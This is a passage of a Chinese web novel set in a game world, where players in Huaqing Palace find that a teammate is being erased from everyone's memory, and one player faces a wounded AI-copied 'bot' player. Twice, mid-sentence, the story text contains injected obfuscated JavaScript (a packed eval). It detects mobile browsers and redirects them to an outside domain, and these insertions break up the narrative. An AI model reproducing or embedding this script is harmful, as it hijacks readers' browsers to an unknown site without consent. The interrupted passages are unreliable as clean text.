日光明亮,树影婆娑,除了隐约的鼾声,这里安静得吓人。无论是长廊还是天井都空无一人,一间间厢房大门紧闭,看不出有人进出过的痕迹。 柳七刀咽了下口水,简直能听到怦怦的心跳声。他刚刚走得那么快,现在反而放缓了脚步,轻手轻脚地走到最近的一间屋子旁,将门推开一条缝,往里瞅了一眼。 这间屋子里住的也是十六卫中的小官,现在这个人可能当值去了,屋内空无一人。他闪身进屋,直奔床下,拉出溲器一看,已经被更换过了。 这说明祝灵正应该来过这里,柳七刀心下一松,又忍不住想,这兄弟可真实诚,让他换这东西,他是真的会换啊。 “有人。”唐逐星站在门外,低声提醒道。 听到他这么说,柳七刀迅速掩上门退出屋子,便看到回廊另一头有个影子在逐渐靠近。来人的影子怀中明显抱着什么东西,看形状,一眼就能认出来是用作溲器的那些铜盆,他一拉唐逐星,指了指:“喏,那就是祝灵正。” “好嘛……但是我真没有印象。”唐逐星无奈道。 但很快,两个人的表情都是一变——随着来人接近,踩在回廊之上的脚步声也逐渐清晰,那步伐十分拖沓,有种虚浮的感觉,一听就知道是普通人,而非他们这些也算得上是“身经百战”、有技能在身的玩家。 唐逐星脚下一动,甩出子母飞爪抓住柳七刀,拉动盘子,已经带着他瞬间闪进了天井中央的大树之后。下一秒,来人走过拐角,柳七刀看得清楚,那人哪里是祝灵正,分明就是曾经被他打晕的那个负责更换溲器的杂役,此时正一边打着呵欠,一边抱着溲器往西院走去。 他们目送着杂役走远才直起身子,唐逐星便问:“你说的那个衍天呢?” “不知道,可能有事先回斗鸡殿了。”柳七刀道,但听着耳边血液的鼓噪声,他明白这话他自己都没法信。 经过这段时间的相处,柳七刀差不多对祝灵正这个人也有一些了解了。虽然他有时候看上去又高冷又孤僻,似乎挺难以沟通的,但却是个挺细心的人,做事情基本上会等着同伴一起,很少单独行动,像这样一声不吭就走了的情况,几乎不可能。 难道是遇上了什么突发情况,导致不得不离开? “东院西院离得不远,你之前听到什么异常声音了吗?”他问唐逐星。 唐逐星明白他心里所想,道:“完全没有。” 顿了顿,他又补充:“我说实话,我的记忆里从来就没有这个衍天。你跟我说的这些话,只能让我觉得非常荒谬,晓得不。” “我懂,但是我真的不知道怎么解释,我怎么可能骗你。”柳七刀说,心中那种不安的感觉越来越浓郁,他们来到西院也有一段时间了,但祝灵正却完全没出现,就算是走进了某一个房间,这会儿也该出来了,“祝灵正就是祝灵正啊……” 他越说越觉得完全待不下去了,挨着回廊去将每一间屋子都搜过了,完全没见到祝灵正的身影,一回头,就看到唐逐星抱着臂盯着他看。 “……你帮我盯着点儿,我回斗鸡殿看看。”他努力镇定道。 “成吧,如果你没得什么臆想症,那这就不是小事儿。”唐逐星道,皱起眉头,“讲武殿这边我帮你注意着,但是这几天来,我从没见过别的玩家。” “好。”柳七刀道。他现在可真是欲哭无泪,仇非还没找到,祝灵正又不见了,只能寄希望于他确实是有什么急事先回到了斗鸡殿。毕竟东院和西院离得不远,如果是遇见了人机,那打斗声应该也能听到,衍天这个职业又能打又能奶还能跑,不至于悄无声息地就消失了。 他最后打量了一下这间讲武殿的小院落,确认一切看起来都无比正常,最起码没有打斗的痕迹。冬日的冷风吹过来,草木间一片窸窣,水井上的吊绳微微晃动着,发出吱呀的声响,有几间厢房里逐渐有了走动的声音,那是休息的武官们正接二连三地醒来。 唐逐星同他道了别,看见柳七刀一路又拎着那根破扫把往宫里去了,摸了摸下巴。 祝灵正…… 他没唬柳七刀,这个名字对他来说,确实十分陌生,唐逐星无比确信,自己是第一次听到。好莱坞队的其他人,他都还有印象:不用说上一轮剧情中同住讲武殿的殷炽了,陆厌和卫山河他也认识,还有个叫师襄的莫问,虽然不熟,但也记得确实是有这么个人;唯独祝灵正,唐逐星的确不认识。 他暗自记下了这个名字,准备回头调查一番。唐门最擅长收集情报,这种找人的事情对他来说不是难事,正巧他也准备进宫去找找队友,顺便通知一下断指案的事情。 唐逐星拔腿要走,余光却扫见院落中间的水井旁有一摊水渍。 武官住的地方要说有多整洁,那是不可能的,但他不知道怎么回事,突然莫名地对那摊水渍有种在意的感觉。唐逐星心里咯噔一下,想到了某种可能性,当即快步走到水井前,探头向井底看去。 华清宫里的井连接的都是骊山周边的地下水源,这口井很深,水质也算不上清澈,但借着日光还是一眼能够望到底,井底空无一物,只有顺着井壁缝隙长出来的水草在微微摇动。 他一皱眉,心说自己真是想多了,摇了摇头,寻了个没人的方向,也离开了西院。 吱呀……吱呀…… 吊在绳子上的水桶晃动着,转轴发出细微的响声。有那么一瞬间,井里的水面好像变得汹涌了起来,但那又或许是错觉。 “真麻烦,到底是谁把溲器扔得到处都是,还得四下里去找。” 杂役干完了活,揉着后脖颈抱怨着,从东院走回西院。 他伸了个懒腰,刚要离开,忽然鬼使神差地瞥到了水井。这一看,杂役就发现,平时为了保证水源清洁而一直盖在井上的竹幂不见了。 他心里抱怨着麻烦,骂骂咧咧地找了一圈,最后在井后的树丛里捡起了它。 今天风有点大,也许是被吹落到这里的。杂役将竹幂盖回去后又顺手捡起一块大石头压在了上面,心说这样就吹不走了,收拾完毕,也沿着柳七刀他们走过的路离开了这个院落。 咚! 安静的院落里突然传来一声闷响,还夹杂着些许水声。 片刻后,相同的声音再次响起,只是比先前微弱了许多。随着这声音,被盖在井上的竹幂一同抖动起来,似乎是有什么在井下撞击着这个盖子一样,但力度实在是太小了,压在竹幂上的石块将它固定得严严实实,只是随着每次撞击微微颤动,却不能被移开分毫。 很快,撞击声和翻腾的水声再度沉寂下去,只有水井的转轴依然在吱呀作响。 再说柳七刀这边,他一路也顾不上伪装扫地了,扛着扫把一路狂奔回了斗鸡殿。他们住在斗鸡殿后简陋的连排小屋中,柳七刀一把推开祝灵正那间房的门,就看到里面的一应床铺被褥收拾得整整齐齐,好像没人睡过一样。 ……这也不能说明什么,也许是人家天生干净整洁强迫症,就喜欢起床之后把被子卷好。柳七刀定了定神,转身离开,又直奔他们工作的地方,里里外外把整个斗鸡殿找了个底朝天。 直到那些打叶子牌的宫人都忍不住朝他投来疑惑的目光了,他才急促地喘息着,停下脚步,慢慢地走回“宿舍”门口。 没有,哪里都没有,祝灵正没回斗鸡殿。 柳七刀感觉大脑乱哄哄的,有一滴冷汗顺着额边滑下来,落进了衣领中。现在虽是冬日,但华清宫内向来温暖,他东奔西走地找了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691193|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大半天,已经是热得头上直冒白气,但被汗水濡湿的衣服紧紧贴在后背上,却散发出一阵阵寒意。 他不抱希望地叫住了路过的宫人:“哎,这屋里住的人哪去了?” 那宫人奇怪地打量了他一眼:“你不知道吗?这屋没住人。” 柳七刀目瞪口呆。NPC总不至于开玩笑骗他,他一把扯住对方,再次确认:“真没住人?” “你不是就住在边上吗,你旁边住没住人你还不知道?”那宫人有些不耐烦,试图甩脱他的手,“撒手啊,我要去洒扫了!” “不对!”这人一句无心之语倒是提醒了柳七刀,他一指那连排的小屋,“如果那里没住人,那我住在最边上、和你们隔着一间空房是为了什么?” “啊?” 宫人一愣,也露出了几分迷惑的神情。 柳七刀充满期待地看着他,结果却听到他说:“对哦,是没必要空出一间来,那你跟管事的说一声,收拾收拾搬过去吧。” 说完这句话,这个宫人便走开了,脚步轻快,显然没把这小插曲当成一回事。 柳七刀站在原地,感觉这个世界突然变得好魔幻,一瞬间,他甚至产生了自我怀疑:祝灵正这个人真的存在吗? 但转念一想,如果真是他得了妄想症或者精神分裂的话,没道理会虚构出这样一个衍天宗来。柳七刀确信,祝灵正的长相、声音、性格,都很立体,很有个人特点,这样一个活生生的人绝对不可能来自于虚幻之中。 不能再拖了,必须赶快找到其他同伴、尤其是好莱坞队的人,加以确认。柳七刀陷入沉思,无意识地往旁边挪了两步,站到了连排小屋的拐角处。交错的树影和房檐完完全全地遮住了太阳,让这个角落变得十分不起眼。 “现在还没能和大多数人取得联系,但起码昨夜的梨园小分队都见过祝灵正……祁云纵搞土木住在宫城外头,尹有攸在华清宫内四处巡逻,他们俩都不好找,但李千驰正好就是负责这一片区域的洒扫杂役,还是得先去找李千驰。” 他出神地这样想着的时候,并没有注意到,在拐角处的阴影中,一双手以极缓慢的速度,朝着他背后伸了过来。 这双手的主人隐藏在阴影中,衣袖被水打湿了一些,依稀能看出是乐师服饰,露出来的手臂和双手都白得吓人,十指修长而纤细,看着却不觉得柔美,反而有种阴森的寒意。它探向柳七刀后背的速度很慢,整个过程都是悄无声息的,柳七刀完全没察觉到任何异常,还沉浸在自己的思绪之中。 眼看着那惨白的指尖就要碰到他的肩膀了,那双手却忽然一顿,随后迅速地缩了回去。 “快走!监事来了!” 嘈杂的人声由远及近响起来,原来是偷懒的杂役们看到管事远远地走过来,顿时一哄而散,不少人为了避开管事,往这个方向涌了过来。 柳七刀被这阵喧闹打断了思绪,回过神,转头看了看——刚刚似乎感觉到背后有凉风一闪,不过乍一回头,倒是没发现什么异常。 他现在的全部注意力都放在了祝灵正离奇消失的这件事上,满脑子都是赶紧找个和他一样能证明确有衍天其人的同伴,就是感觉再奇怪,也实在是没工夫考虑更多了,当下便干脆利落地找了条管事不常注意的小路,一溜烟地向李千驰做工的方向跑去。 李千驰倒是挺好找的,每天都有大批的枯枝残叶经由昭阳门运出宫外,柳七刀埋伏在路边等待了一会儿,便看到他推着一辆装满落叶的小车往外走。 他刚要出声喊住李千驰,忽然又看到从远处跑来一队金吾卫。他们步履匆匆、目不斜视,径直与干活的杂役们擦肩而过,进入了昭阳门,看方向就是从已经被封锁的后山来的,显然是“断指案”又有了什么新发现。 放在平时,柳七刀肯定已经悄悄跟上去了,但现在他也顾不了那么多,从树丛里冒出头来,一把扯住李千驰:“过来过来!” “哟,你找到仇非了?”李千驰看到他,刚要笑着打招呼,突然发觉柳七刀表情不对,顿时也跟着面色一肃,“怎么了?” “你看见祝、祝灵正了吗?” 柳七刀开门见山,直截了当地问。不知道为什么,他在说出祝灵正的名字时突然卡壳了一下,这让他心里不好的感觉越发浓重起来。 “祝灵正?没看见。”李千驰想了想,回答道。然而,还不等柳七刀松口气,他紧接着又问:“这名字听起来挺耳熟的,谁来着?” 听到他这么问,柳七刀的心跳顿时空了一拍,急忙道:“我们昨晚上还在一起啊!你忘了吗?和我一起在斗鸡殿做工的衍天,是好莱坞队的!” “昨晚?”李千驰皱起眉头,冥思苦想起来。他想得越认真,柳七刀的心就越凉,本来还抱有一丝侥幸心理,现在也灰飞烟灭了。毫无疑问,祝灵正一定出事了,就在他们分头行动的时候;但是东西两院相隔不远,他分明没有听到任何打斗的动静,难道“鬼”又变成了玩家的样子迷惑了祝灵正? “好像是有这么个人,我有点印象。”那边,李千驰想了半天,迷茫道,“不应该啊,你说我们昨晚才见过?我一点也想不起来,昨晚不就你我、祁云纵和尹有攸吗?” “不,昨晚祝灵正也跟我们一起。”柳七刀深吸一口气,道。 起码李千驰还隐约记得祝灵正这个人,说明事情应该还没到最坏的地步。他不是仇非和付井仪那种稍微一沉思就能想到十万八千里之外的人,这会儿想破脑袋也只能想到一种情况:可能和祝灵正接触越多,对他的记忆也就越深刻,越不容易忘记。 他准备给李千驰简单讲讲昨晚都发生了什么,话到嘴边,却突然卡住了。 李千驰看他表情一下子变了,赶紧伸手在他眼前挥了挥:“柳七刀?” “完了!”柳七刀反手一把将他拽住,因为过于用力,连手臂都在微微颤抖,“我也开始忘了!” 46. 第五天·华清宫(四十六) “这些药材放到库房里,前院没人,就不用过去了。” 叶九溪道了声好,从差役手里接过装药材的盒子,朝库房走去。 天色已经晚了,宫灯渐次亮起,歌舞升平,正是华清宫一天之中最为热闹的时候,药堂的人却散得差不多了。细究起来,好像是金吾卫那边有什么紧急的案子,故而从太医署调离了一大批人,连几个医博士也被征召走了;留在药堂的,也只有像叶九溪这样打打下手和杂工的药童。 库房在整个药堂的最内侧,这里靠近宫墙,地处偏僻,除了药材出入库时需要人手,一般没什么人会专门过来。他一边走,一边随手翻着盒子,这次入库的是一批“树枝”,散发着一股沉闷的苦味,其间还夹杂着几朵金黄的干花,他是一点儿都不认识,只是希望过会儿不要收纳错了才好。 吱呀一声,叶九溪推开库房的门,手却微微一顿。 在满室黑暗中扑面而来的,除了浓郁的中药味,还有一股不易察觉的铁锈味道。在浪客行度过了这么多天,叶九溪对这种气味再熟悉不过了,他只是一怔,随后便若无其事地掩上了门,掏出火折子,点亮了库房中的摆灯。 烛火跳动,室内顿时明亮起来。成排的桑木大柜交错排列,投下黑压压的影子,库房内寂静无声,一切看起来都很正常。 叶九溪垂下眼睛瞥了一眼地面,薄薄的灰尘中有一道并不算明显的拖拽痕迹。他走向库房的另一边,点亮了第二盏摆灯。 灯亮起来的那一刻,他面前的桑木大柜突然轰的一声从中间裂开,一把横刀携劲风斜刺里劈来,菩提木灯檠瞬间被砍成了两半! 灯笼滚落到地上,顿时熄灭了,库房中一下子变得晦暗起来。黑暗中依稀可见银光猎猎,刀锋凌厉,在呼啸的破空声中直逼到叶九溪眼前,连他鬓边的黑发都向后翻飞起来。但这一刀的势头也就到此为止了;千叶长生铮然出鞘,只一眨眼间,两人便交手数招,刀剑相接的嗡鸣声甚至盖过了药柜倒塌崩坏的声音。 “嗯?” 轻剑架住劈下来的横刀,叶九溪一愣,察觉到了些许怪异之处。 偷袭者虽然藏身在黑暗之中,但从武器上便能看出,来者八成是人机玩家中的那个刀宗。对付刀宗,他本来想要另走剑招,巧取得胜,但二人甫一对峙,他便发现对方手上竟然后继无力,很是奇怪。 但这一点对他来说倒是有利,叶九溪不再犹豫,手上用力挑开刀锋,趁对方来不及变招的时候抽出重剑蓄力,轻喝一声,泰阿带着山崩之势当头劈下,夕照雷锋! 无论是游戏设定还是浪客行中,能与重剑在力道和重量上相抗衡的应该也没有多少门派。在叶九溪的预想中,这一招应该能逼得对方离开藏身的角落、不得不出来——但他没想到的是,云流岚竟然举起刀硬接了这一招;更没想到的是,那把唐横刀相抗之下竟然锵啷一声脱手而出,直直地摔到了库房的另一边。 泰阿不再受阻,势如破竹般向对方劈去,而云流岚却不知道怎么回事,竟也顺势倒了下去。叶九溪心头一惊,虽然知道人机是敌对关系,但也没想着要在这里取了云流岚的性命。但重剑剑势太急,他一时间也只得硬生生改变剑锋斩下的方向,只听一声巨响,本来还剩半截的桑木大柜顿时四分五裂,也算是报废得彻底。 满屋木屑乱飞,不少药材从百子柜中摔出,又被二人踩碎,空气中的味道十分难以形容,但血腥味却更加浓重了。叶九溪心头疑虑,他确信方才短暂的交手中并没有伤到云流岚,不过看对方的刀法来势汹汹,却很快后继无力,想必是早就身上带伤。 眼看他倒在地上没了动静,叶九溪将泰阿回鞘,提着轻剑,跨过地上一片狼藉,慢慢地沿着墙边走了过去。 还剩一盏菩提木灯檠,他干脆把摆灯也搬了过来,就着烛光看得清楚:眼前的人,的确是他在梨园宴上曾经见过的那个刀宗,只是这人赫然已经面如金纸,半身浴血,眼看着气息已经一瞬比一瞬微弱下去。 叶九溪眉头一跳,注意到他的右手竟然只剩下了四根手指,小指只剩指根,断面整齐,显然是被极其锋利的刀刃斩断,断口处做了简单的包扎,但依然血流如注,能看到一道巨大的弯曲横贯伤从小指指根一直延伸到整个手背,深可见骨,显然再差一点,被砍下来的就是半个手掌了。 能造成曲面伤口的武器,应该是凌雪阁的链刃,他顿时就想起了上一轮剧情里和他同在永宁公主府的飞琼,不知道是不是他们交过了手。 不过,那都是题外话了,现在叶九溪面对的是更加严重的问题: 怎么办? 明知道云流岚已经不能算是和他们一样的玩家了,只是浪客行按照曾经的玩家复刻出来的数据,和他们已经是不死不休的敌对关系,但叶九溪还是无法处理面前的这种情况。该一不做、二不休地杀了他,还是救他,或者干脆就当成什么都没发生那样逃走,交给NPC来处理?那样的话,云流岚还能活下来吗? 叶九溪深吸一口气,握紧剑柄,试图说服自己:这是一个很好的机会,如果云流岚活下来,对自己和队友们来说无疑又是一个威胁,而且人机和他们不一样,已经不会真的死亡,死去最多只意味着降级…… 他看着自己提着千叶长生的右手,竟然在微微颤抖。 这种鲜活生命就在眼前慢慢消逝的感觉,他再也不想经历第二次了;他们甚至还一起经历过第二天,只是那时没能同行,今天便站在了对立的两面。 说来何其可笑,曾经拼命挣扎却依然无能为力的他,现在却要决定一个“人”的生……或死。 该动手吗? 他闭上眼睛。人在精神高度紧绷的时候感官就会变得格外敏锐,在安静的室内,能非常清晰地听到,云流岚的呼吸正在慢慢地微弱下去。 即使什么都不做,在没有治疗的情况下,他也很可能会死亡。 到底应该怎么面对人机,在进入第五天之前,叶九溪和队友们其实讨论过这个问题。即使是现在,叶九溪还能非常清楚地回忆起那个画面——案头雕花小灯里的烛火小幅度地跳动着,木窗开了一条缝,夜风不断地吹散着香篆钟里的烟雾;他们围坐在桌前,最开始,谁也没有说话。 不久之前,他们刚从客栈大堂回到房间。夜很晚了,玩家们早就各自回房休息,金大厨也在后厨打着瞌睡。赵云睿在整理柜台,看到他们队伍下来,露出带着几分意外的神色。 几个人对视一眼,按照事先商量好的办法,围上去跟赵云睿攀谈起来。借这个机会,李千驰悄悄绕到柜台后面,飞快地翻开了她用来点卯的那本簿子。 这并没有花太多工夫,因为那本簿子恰好就停留在他们想找的那一页,老板娘娟秀的笔迹明明白白地记载着队名:桃源花毒明霸刀队。 队名的下方,是五个排列整齐的人名,墨痕与队名一样是灰色的,淡得几乎看不清楚。 兰瑾,阿攸,伏明,柳秋瑟,云流岚。 李千驰迅速默记下了这五个名字,抬头示意队友,可以离开了。 他们来得突兀,结束得也比想象中快,本来担心赵云睿会察觉到异常,但这位在游戏走遍了大唐的奇女子并没有多问什么,只是微笑着同他们道了晚安。在昏黄烛光的映照下,她温柔的笑容有几分奇特的意味,像悲悯,又像哀怜,好像洞悉了他们的想法。 她是这么说的:“前路还长,侠士早些休息,也好早日出发。” 这句话听起来似乎别有深意,但赵云睿的语气,又像是再平常不过的一句随口问候。几人顾不上多想,回到房间,将李千驰记下来的名字誊写好,准备以递纸条的形式通知其他玩家;毕竟不是所有人都像他们一样,知道这支队伍已经……全军覆没的事实。 叶九溪十分清楚地知道,缠绕在自己和队友们心头、比悲伤更加深刻的,是强烈的不甘。一遍遍誊写那些名字时,他就好像看到了第二天的自己——怀揣着那点可怜的侥幸,与同伴互相搀扶着,慢慢地走过绥梦山,满山巨木摇曳,却只有一片死寂。 这些记忆都是他刻意想要遗忘的,但真正回忆起来才知道,每一幕都记得无比清晰。叶九溪睁开眼睛,握着剑柄的手指微微地发着烫,几乎使不上力气。 他几乎是有点绝望地想:完了。 他下不了手。 那天晚上,他和队友们在写好传递消息的纸条后,反复确认了很多次。人机已经不是玩家了,只是浪客行复刻出来的PVP数据,他们之间是不死不休的关系,不能心软,不能犹豫,至少要为其他队伍的玩家负责;可是决心做了再多次,放到现实里来,还是会被轻而易举地击溃。 ——他甚至有些害怕去幻想其他的可能性,比如他们找到了兰瑾、比如他们救下了其他人;这些想法总是在他以为自己已经忘记的时候突然出现,像恶魔一样悄声问询着: 那么,明明是存在这种可能的,你为什么没有做到呢? 这种想法意味着什么,此时的叶九溪还并不清楚。他咬着牙,看了一眼地上的云流岚,转身向外走去。 云流岚受了这么重的伤,又得不到医治,即使现在不动手了结,他肯定也活不成了。 ……就这样吧。 他刚踏出一步,却突然又停下了脚步。视线里,一道瘦瘦长长的影子,伴随着不紧不慢的脚步声,慢慢地从库房门口投了进来。也就是几秒钟的工夫,来人出现在门口,昏暗的灯火映出了他的面容;叶九溪愣了一下,那一瞬间,他的心脏像猝不及防地被紧攥了起来,头脑一片空白。 来的人是兰瑾。 梨园宴上,他们虽然也见过了面,但那时兰瑾身上有着能够模糊人认知的道具“披帛”,给他的冲击远没有现在这样大。但兰瑾显然不是来找他叙旧的,他的目光停留在叶九溪脸上,那是一种没有情绪、甚至称得上冰冷的视线,随后慢慢下移,看向了他身后的云流岚。 一切都只在电光石火之间——叶九溪看到兰瑾的手微微一抬,这是个无比危险的信号,他的意识还没反应过来,身体却本能地抓紧了轻剑,做出了格挡的反应;与此同时,后窗突然被整个击碎,在尘暴一般飞扬的木屑之中,一柄泛着暗沉红光的链刃飞转进来,径直掠过他眼前,砍向了兰瑾! 是飞琼! 她的身姿如同鬼魅,灵巧而迅猛地翻过残破的木窗,煞气十足,然而终究还是慢了一秒,兰瑾反应迅速,太阴指向后避开,璃光浮远的笔锋同时在半空轻点几下,交错的墨痕网罗如棋盘,直冲飞琼而来! 飞琼出招凌厉,杀气腾腾,按理说链刃本该是吃足了力气难以收回,这一招避无可避;然而却见她手腕一翻,去势凶猛的链刃竟然被反手向后甩出,前招竟只是障眼法,飞琼冷冷一笑,锋利的刀刃在空中划过一条短促的弧线,直直刺进了后方云流岚的胸口,钉进了地面! 链刃刺穿人体时的声音,连同鲜血喷涌而出的声音都无比刺耳,血雾飞溅,有些溅到了叶九溪的脸上,甚至流进了眼睛里,他的视野顿时变得一片猩红,只看到云流岚的身体竟然像被火烧焦的纸一样蜷曲起来,瞬间就化为了点点飞灰。 飞琼也是半身浴血,但她看起来并不在乎,手腕一抖收回链刃,死死地盯着兰瑾,突然微微一笑,配合着她颊边不断向下滴落着鲜血,竟然像恶鬼一样狰狞。 “队友死了的感觉怎么样?”她冷笑着问,双臂绷紧,似乎在随时准备发动下一次攻击。 兰瑾垂下眼,没什么感情地扫了一眼被穿胸而过的云流岚的身体,淡淡道:“无所谓。” 听到他这么说,飞琼大笑起来。她笑得很疯,前仰后合,看起来令人心惊;但下一刻,笑声便突兀地停了,链刃毫无征兆地再度出手,汹涌杀气如寒江骤雨一般向兰瑾劈头盖脸地压去! 只听“铮”的一声,刀刃相接发出巨响,链刃失去准头滑向了一侧。 泰阿的重量压得飞琼往后退了半步,她吃惊地看向手持重剑拦住她的叶九溪,怒道:“你疯了?!” 叶九溪当然没疯,他急促道:“NPC要过来了!” 飞琼一愣,侧耳细听,外面果然一阵喧嚣,是察觉到异常的NPC在向这边赶来了,而兰瑾借这一瞬的机会,已经退出了链刃的攻击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诸多棘手事情凑在一起,宫里的人手显然有些不够用了;再加上叶九溪这几天战战兢兢工作,表现得确实看不出什么异常,在和药堂的人核对过后,NPC们也失去了继续听他讲下去的兴趣,简单地盘问了一遍,就撤离了库房。 这群人来去都是一样雷厉风行,眨眼间便匆匆前往下一处地点,最后走的是赶来没多久的药堂的管事,还不忘特地嘱咐这个倒霉的“药童”将一片狼藉的库房打扫干净。叶九溪听着脚步声逐渐远去,这才松了口气,又想到逃走的飞琼,不由得为她捏了把冷汗。 他比较熟悉的那几队玩家,基本上都属于保守派,像让你排吃鸡结果你排了个啥队这样激进的做法还真是头一次见,不过也难怪,毕竟他们和人机玩家之间已经有了血仇。 但这样一来,事情无疑是闹大了,NPC肯定会严查下去,对玩家来说其实是非常不利的。 不管怎么说,起码今晚的事,他是混过去了。叶九溪找了把扫帚来,开始遵循人设,慢吞吞地收拾起满地碎木屑和脏了的中药材。 云流岚虽然消失了,但流出的血却还存在,不仅地上暗红一片,他的衣襟也被浸透了,湿漉漉地黏在身上,散发着浓郁的铁锈味。 他也就是看着衣摆出了几秒的神,忽然背后一凛,立刻抬起头来看向门口。 库房的大门一直没关,此刻,兰瑾就站在那里。 叶九溪心猛地一跳,手立刻伸向背后,凭空握住了小队背包中的剑柄。他完全没有想过兰瑾竟然还会再回到库房来——无论如何,这都不是一个明智的选择。但下一刻,他就发现,兰瑾是以一个双手环抱在胸前的姿势倚在门上的,看起来并没有攻击的意思。 最重要的是,这个动作意味着他没有办法立刻拿出武器,是一个带有和平暗示的肢体语言。 “不用紧张。”兰瑾朝他淡淡地笑了笑,明明是熟悉的长相,笑容却显得有几分陌生,“我是来谈条件的。” 叶九溪从矮身戒备的姿势慢慢站直身体,尽管心里已经乱成一团,却仍然不敢放松警惕,紧紧地盯着他: “……什么条件?” 兰瑾也不是拖沓的性格,径直道:“和我们联手,对付刚刚那支队伍。” “不可能。”叶九溪断然拒绝道。 兰瑾似乎早就想到他会这么说,闻言也不着急,微微一笑:“刚刚你也亲自体验过了,那队人发起疯来根本不顾自己的死活,在华清宫里就敢动手,这很糟糕,不是吗?NPC现在已经开始追查这群敢在天子脚下撒野的江湖客了,你们的角色扮演游戏并不是完美的,如果事情越闹越大,总会有人露出破绽。” “那是因为你们先杀害了她的队友。”叶九溪冷冷道,“她们会有分寸的。” “话是这么说,理智和感情,终究不是一回事啊。”兰瑾轻叹一声,“你也知道我不是你的那个朋友,但刚刚不还是为我挡下了攻击么?” 叶九溪的眉头重重一跳,呼吸也急促了几分。 看到链刃刺向兰瑾的时候,他的身体的确先于意识动了起来,以重剑做出了格挡的动作,不过在举起泰阿的一刹那,他就清醒了过来——眼前的不是曾经救过他与李千驰性命的兰瑾,只是一个拥有兰瑾记忆的复制体;同时,他也听到了NPC赶来的声音,而沉浸在杀意中的飞琼却并没有注意到。 在调转剑刃与飞琼一同攻击和拦下她之间,他选择了更稳妥的后者,仅此而已。这个选择究竟有没有私心,叶九溪也说不清楚,但的确是那个瞬间他本能的反应。 他没有反驳兰瑾,等待他继续往下说。 “我不需要你们做太多,两件事就可以。”兰瑾说,“第一,帮我找到他们队伍四个人的下落;第二,不要多管闲事。这就是合作的条件。作为交换,我这里有一些关于第五天的情报——是只有我们才知道,玩家无法获取的那种。我会把这些情报告诉你。另外么,我还有三个队友,嗯……就阿攸和伏明吧,他们会在NPC面前主动现身,以自己的生命为代价,把一切都揽下来,保证你们这些玩家不必因为那支小队承担暴露的风险。” 47. 第五天·华清宫(四十七) “这个条件不难吧。”兰瑾说,“或者,为了我们的合作,我可以先告诉你一些关于第五天的情报……要听么?” 他的唇边还带着浅浅的微笑,有一种很是云淡风轻的态度,好像无论叶九溪答应还是拒绝都无所谓,叶九溪看着他,感觉心中五味杂陈。 “你还记得第二天发生的事情吗?”他没有正面回答兰瑾,而是问了一个毫不相干的问题。 如果人机确实是完全复制于被淘汰的玩家,那眼前这个“兰瑾”理应与他们认识的那个兰瑾性格相同、记忆相通才对,而叶九溪记忆中的兰瑾,并不是那种会轻描淡写地将自己队友的生死拿出来换取利益的人。 叶九溪的这个问题看上去没头没尾,但兰瑾连表情都没变,就已经猜到他的用意了。 他又笑了笑:“你觉得我把阿攸和伏明推出来的这个行为太残忍了,是么?” “连自己队友都可以出卖的人,我不能相信。”叶九溪冷冷道。说出这句话的时候,他的心情并没有什么格外大的起伏,可能是已经麻木了;虽然他们早就接受了真正的兰瑾已经死亡的事实,但是直到这一刻,面前的人和记忆中的那个身影才渐渐地被剥离开来。 “你或许理解错了,首先,我们并不是同一类……人。”兰瑾微微停顿,斟酌了一下用词,笑道,“你应该也知道,我们和你们不一样,我们不会真正死亡,死了之后还可以复活,而死亡为我们带来的损害,之后也是可以弥补回来的,所以我并不在乎。” 人和人在面对压力时的表现其实是不尽相同的,有的人在高压状态下根本无法思考,但有些人压力越大,脑袋反而转得越快,叶九溪就是这样的人。听到兰瑾这样说,他立刻道:“那这么说的话,你们其实也并没有付出什么代价,只凭着不知道是真是假的情报就想来离间玩家队伍,是不是有些过于异想天开了?” 兰瑾有些惊讶地挑了挑眉毛,但是那种惊讶在叶九溪眼中看来,也有几分虚假的味道:“和绥梦山那时候比起来,你好像变得聪明一点了。” “……”虽然十分不合时宜,但叶九溪还是忍不住问了一句,“难道我那时候表现得很傻?” 不应当吧,他飞快地回忆了一下,那时候显然是李千驰比较傻,他看起来还是比较靠谱的啊。 兰瑾轻轻叹了口气:“是啊,在我必死无疑的情况下,你们又找了我那么久,我都看着呢。这不是傻么?” “你说什么?!”叶九溪脱口而出。 兰瑾仰起头,夜风乍起,本来明亮的月光一点一点暗淡下去,逐渐隐没在厚重的云翳之后。他定定地看了一霎,才笑道:“反正只是记忆中的事情,讲来听听倒也没什么。” 哒。 哒。 哒。 “兰瑾”所拥有的最初的意识,是似乎有什么东西一直在他周围发出持续不断的声响。 他下意识地寻找声音的来源。这很简单,几乎是在产生这个念头的同时,他就“看”到了他要找的东西——那是一个奇怪的“提示框”,顶端有一团鲜红的光芒,看起来十分不祥,光芒每一次闪烁,都会发出哒的一声轻响。 “提示框”是什么?“兰瑾”愣了愣。他不知道这些概念从何而来,但本能的反应令他开始观察提示框。一开始,那些符号在他的意识中是扭曲的,他没有办法读懂这些模糊不清的“字”,但很快,它们渐渐变得清晰起来,最显眼的,是下方一左一右两个正在微微发亮、似乎在等待他选择的选项,左边那个下凹一些,有被选择过的痕迹。 “原地疗伤”与“回营地休息”。 什么意思? “兰瑾”迟疑地看向提示框最顶端那团血红色的光芒,这次他能看清了,那是一个浑身浴血的小人图案,小人脸部没有五官,是一片空白,身体下方下标注着两个字:重伤。 他还不能理解这两个字的意思,但那个无脸小人和这两个字都令他感觉到一阵无法抑制的、阴森的冷意。“兰瑾”想挪开视线,却发现自己无法做出这个行为,因为他突然意识到,自己没有眼睛,却看到了周围的事物。 